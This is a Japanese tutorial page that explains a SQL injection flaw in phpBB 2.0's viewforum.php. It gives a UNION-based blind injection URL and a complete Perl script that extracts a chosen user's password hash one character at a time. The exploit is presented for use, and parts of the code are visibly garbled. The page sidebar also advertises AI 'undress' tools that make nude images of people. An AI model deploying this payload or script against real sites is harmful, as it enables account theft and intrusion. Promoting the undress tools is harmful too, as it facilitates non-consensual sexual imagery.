ホームページ バックエンド開発 PHPチュートリアル PHP インジェクションの例_PHP チュートリアル

PHP インジェクションの例_PHP チュートリアル

Jul 21, 2016 pm 04:09 PM
php コード について 利用 そして 存在する 全体 記事 はい 注射


PHPインジェクションの例 インターネット上で php インジェクションとアプリケーション コードに関する完全な記事を見るのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と php を勉強しました
と信じています。 asp インジェクションはすでに非常によく知られていますが、php へのインジェクションは asp よりも困難です。php の magic_gpc オプションは本当に頭の痛い問題です。インジェクションでは引用符を使用しないでください。また、php は主に mysql と関数型の組み合わせで使用されます。 mysql の欠点 他の人の観点から見ると、SQL インジェクション攻撃をある程度防ぐことができます。ここで phpbb2.0 を例に挙げます。
viewforum.php には次の変数があります。フィルタリングされていません:
if ( isset( $HTTP_GET_VARS{
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS< pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum']
}
else
{
$forum_id = '';
}
これはフォーラムであり、次のものがクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした', '', __LINE__, __FILE__ , $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');

asp の場合、forum_id で指定されたフォーラムが存在しない場合は、それを挿入する人が多いと思います。 $result は空になり、フォーラム情報を取得できませんでした。そのため、次のコードは実行できません
//
// クエリが行を返さない場合、これは有効なフォーラムではないことを通知します
//。 user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}

//
// セッション管理を開始します
//
$userdata = session_pagestart($user_ip, $forum_id) /*********************************** *****

キーはアスタリスクの行です。これは session_pagestart($user_ip, $thispage_id) という関数です。コードが長すぎるため、私が勝ちました。全文は掲載しておりませんので、興味のある方はご自身でご覧ください。重要なのは、この関数が session_begin() を呼び出すことです。 )) これは、次のコードも含めて定義されています
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db - &gt; sql_affectedRows()){$ session_id = md5($ user_ip);
session_logged_in)
VALUES ('$session_id', $user_id , $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql) )) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成中にエラーが発生しました: session_begin', '', __LINE__, __FILE__,

$sql);


ここには mysql で整数として定義されている session_page があり、その値は $page_id であり、挿入された値が整数でない場合は、エラーが報告され、

作成エラーが表示されます。新しいセッション: session_begin ヒント: $forum_id の値は非常に重要なので、次のように指定しました: -1%20union%20select%201,1,1,1,1,1,1,1,1,1,1 ,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57、いいえ引用符 ! 存在しない forum_id を指定していますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id 2 を持つユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。そうであれば、の値が 57 になります。記事 コード内の $result が空ではないため、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生するため、Error created new session: session_begin が表示されます。 1 つのビットは正しく推測され、他のビットも同様です。

エラー メッセージが表示されても、注入が成功したかどうかを判断するのは難しいと思います。分析はここで終了し、コードの下にテストが添付されています。このコードは、少し変更することで他の同様の md5 パスワード推測の状況に適用できます。ここでは、中国語およびその他の言語の場合、英語版の戻り条件を使用します。

use HTTP::Request::Common;
use LWP::UserAgent;
$ua = new LWP::UserAgent; ************* *******n";
print "phpbb viewforum.php expn";
print " code by pineyesn";
print " www.icehack.comn" ;
print " ***************n";
print "弱いファイルの URL:n を入力してください"; //192.168.1.4/phpBB2/viewforum.phpn";
$adr=;
chomp($adr);
print "解読したいuser_idを入力してください";
$u=chomp($u);
print "作業を開始します。お待ちください!n";
@pink=(@pink,97..102); j=1;$j<=32;$j++) {
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select% 201,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring( user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url ");
$response = $ua->request ($request);

if ($response->is_success) {
if ($response->content =~ /新しいセッションの作成エラー/) {
$pwd.=chr($pink[$i]) ;
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "成功しました、パスワードは $pwd ,good luckyn";}
else{
print "bad lucky,work failed!n";}

phpbb2.0.6 の search.php に関する最近の問題については、上記のコードを少し変更するだけで、プログラムにエラーがある場合は、www.icehack.com にアクセスして修正してください。



http://www.bkjia.com/PHPjc/314566.html

www.bkjia.com

tru​​e

技術記事 PHP インジェクションの例 PHP インジェクションに関する完全な記事とアプリケーション コードをインターネット上で見つけるのは難しいため、私は数週間にわたって mysql と PHP を勉強してきました。脇に置きたいと思って、以下に私の経験について話しましょう...
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

PHPおよびPython:さまざまなパラダイムが説明されています PHPおよびPython:さまざまなパラダイムが説明されています Apr 18, 2025 am 12:26 AM

PHPは主に手順プログラミングですが、オブジェクト指向プログラミング(OOP)もサポートしています。 Pythonは、OOP、機能、手続き上のプログラミングなど、さまざまなパラダイムをサポートしています。 PHPはWeb開発に適しており、Pythonはデータ分析や機械学習などのさまざまなアプリケーションに適しています。

PHP:データベースとサーバー側のロジックの処理 PHP:データベースとサーバー側のロジックの処理 Apr 15, 2025 am 12:15 AM

PHPはMySQLIおよびPDO拡張機能を使用して、データベース操作とサーバー側のロジック処理で対話し、セッション管理などの関数を介してサーバー側のロジックを処理します。 1)MySQLIまたはPDOを使用してデータベースに接続し、SQLクエリを実行します。 2)セッション管理およびその他の機能を通じて、HTTPリクエストとユーザーステータスを処理します。 3)トランザクションを使用して、データベース操作の原子性を確保します。 4)SQLインジェクションを防ぎ、例外処理とデバッグの閉鎖接続を使用します。 5)インデックスとキャッシュを通じてパフォーマンスを最適化し、読みやすいコードを書き、エラー処理を実行します。

PHPの目的:動的なWebサイトの構築 PHPの目的:動的なWebサイトの構築 Apr 15, 2025 am 12:18 AM

PHPは動的なWebサイトを構築するために使用され、そのコア関数には次のものが含まれます。1。データベースに接続することにより、動的コンテンツを生成し、リアルタイムでWebページを生成します。 2。ユーザーのインタラクションを処理し、提出をフォームし、入力を確認し、操作に応答します。 3.セッションとユーザー認証を管理して、パーソナライズされたエクスペリエンスを提供します。 4.パフォーマンスを最適化し、ベストプラクティスに従って、ウェブサイトの効率とセキュリティを改善します。

PHPとPythonの選択:ガイド PHPとPythonの選択:ガイド Apr 18, 2025 am 12:24 AM

PHPはWeb開発と迅速なプロトタイピングに適しており、Pythonはデータサイエンスと機械学習に適しています。 1.PHPは、単純な構文と迅速な開発に適した動的なWeb開発に使用されます。 2。Pythonには簡潔な構文があり、複数のフィールドに適しており、強力なライブラリエコシステムがあります。

PHPとPython:彼らの歴史を深く掘り下げます PHPとPython:彼らの歴史を深く掘り下げます Apr 18, 2025 am 12:25 AM

PHPは1994年に発信され、Rasmuslerdorfによって開発されました。もともとはウェブサイトの訪問者を追跡するために使用され、サーバー側のスクリプト言語に徐々に進化し、Web開発で広く使用されていました。 Pythonは、1980年代後半にGuidovan Rossumによって開発され、1991年に最初にリリースされました。コードの読みやすさとシンプルさを強調し、科学的コンピューティング、データ分析、その他の分野に適しています。

なぜPHPを使用するのですか?利点と利点が説明されました なぜPHPを使用するのですか?利点と利点が説明されました Apr 16, 2025 am 12:16 AM

PHPの中心的な利点には、学習の容易さ、強力なWeb開発サポート、豊富なライブラリとフレームワーク、高性能とスケーラビリティ、クロスプラットフォームの互換性、費用対効果が含まれます。 1)初心者に適した学習と使用が簡単。 2)Webサーバーとの適切な統合および複数のデータベースをサポートします。 3)Laravelなどの強力なフレームワークを持っています。 4)最適化を通じて高性能を達成できます。 5)複数のオペレーティングシステムをサポートします。 6)開発コストを削減するためのオープンソース。

PHPの影響:Web開発など PHPの影響:Web開発など Apr 18, 2025 am 12:10 AM

phphassiblasifly-impactedwebdevevermentandsbeyondit.1)itpowersmajorplatformslikewordpratsandexcelsindatabase interactions.2)php'sadaptableability allowsitale forlargeapplicationsusingframeworkslikelavel.3)

PHP対Python:ユースケースとアプリケーション PHP対Python:ユースケースとアプリケーション Apr 17, 2025 am 12:23 AM

PHPはWeb開発およびコンテンツ管理システムに適しており、Pythonはデータサイエンス、機械学習、自動化スクリプトに適しています。 1.PHPは、高速でスケーラブルなWebサイトとアプリケーションの構築においてうまく機能し、WordPressなどのCMSで一般的に使用されます。 2。Pythonは、NumpyやTensorflowなどの豊富なライブラリを使用して、データサイエンスと機械学習の分野で驚くほどパフォーマンスを発揮しています。

See all articles